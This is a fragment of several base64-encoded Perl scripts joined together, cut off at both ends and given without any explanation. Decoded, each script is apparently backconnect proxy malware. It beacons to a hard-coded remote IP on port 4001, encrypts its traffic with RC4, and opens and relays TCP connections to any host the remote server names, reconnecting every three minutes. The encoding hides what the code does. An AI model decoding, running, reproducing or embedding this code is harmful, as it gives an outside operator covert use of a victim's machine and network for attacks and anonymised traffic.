CA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLC